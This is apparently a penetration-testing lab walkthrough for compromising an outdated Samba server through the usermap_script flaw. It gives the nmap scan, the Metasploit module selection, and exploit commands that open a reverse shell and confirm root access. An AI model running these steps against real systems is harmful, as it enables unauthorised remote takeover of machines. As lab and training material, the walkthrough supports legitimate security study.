Samba Exploitation
Samba is an open-source implementation of the SMB/CIFS protocol, widely used to provide file and printer sharing between Linux and Windows systems. Because SMB has historically been a major target for exploitation (as seen in incidents like EternalBlue), outdated Samba installations remain a common focus in penetration testing labs. In this case, a vulnerable configuration option in usermap_script allows unauthenticated remote command execution.
Discovery
nmap -A -p- -T5 [target IP]Scans all ports with service versions and OS detection to identify the target's open services.
Attack
msfconsoleLaunches the Metasploit Framework console.
search sambaSearches for modules related to Samba.
use exploit/multi/samba/usermap_scriptSelects the Samba "username map script" command execution exploit.
show optionsDisplays the required parameters for the exploit and payload.
set rhosts [target IP]Sets the target's IP address.
exploit -j -zLaunches the exploit as a background job. No manual payload configuration is required — a default reverse shell payload is used automatically.
Verification
sessions -lLists active sessions.
sessions -i [id]Interacts with a specific session, using the ID shown by sessions -l.
whoamiConfirms the privilege level of the compromised shell (root).
uname -aDisplays the target system's kernel information.
lsLists files in the current directory to confirm shell access.
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.